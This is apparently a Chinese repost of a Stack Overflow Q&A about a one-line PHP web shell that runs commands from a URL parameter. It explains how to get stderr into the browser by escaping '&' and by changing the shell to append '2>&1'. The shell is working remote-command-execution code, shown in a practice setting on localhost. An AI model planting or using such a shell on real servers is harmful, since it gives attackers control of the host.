gpt4 book ai didi

php - 在简单的 PHP web shell 中查看 stderr 输出

转载 作者:太空宇宙 更新时间:2023-11-04 12:08:48 25 4
gpt4 key购买 nike

我不确定这是一个 PHP 问题还是一个 Linux 问题,但这里是。

我正在练习使用 web shell,并且有一个看起来像这样的非常简单的;

<?php system($_GET['cmd']); ?>

在我的终端里我可以查看netcat的帮助文件,像这样;

nc -h

我相信这会输出到 stderr。在我的终端中,我可以像这样将输出重定向到一个文件;

nc &> blah

然后我可以cat blah,然后查看结果。但是,如果我通过 php webshel​​l 尝试相同的技巧,则不会创建任何文件。 IE。运行这些命令什么都不做;

http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah

为什么它在我的 webshel​​l 中失败,我需要在我的语法中做些什么调整才能让它工作?我可以发出命令(例如,lsls --version),然后正常查看标准输出。

最终,我想完全避免写入文件,而只是在我的 webshel​​l 中查看命令的所有输出,但我认为这将是一个更容易的第一步。欢迎对后期提出建议!

最佳答案

我想通了;

问题是“&”符号会丢弃 web shell 命令,因此它需要转义。跳过文件写入,我们可以像这样将 stderr 重定向到 stdout 以在浏览器中查看所有输出(stdout 和 stderr);

?cmd=nc -h 2>%261

此外,无需将 2>%261 附加到每个命令,可以修改 web shell 来为我们完成提升;

<?php system($_GET['cmd'] . ' 2>&1'); ?>

然后我们可以直接执行我们的命令,并在浏览器中看到 stderr 和 stdout 输出。

?cmd=nc -h

它似乎不尊重原始输出格式,但这是另一个问题......

关于php - 在简单的 PHP web shell 中查看 stderr 输出,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/49703024/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com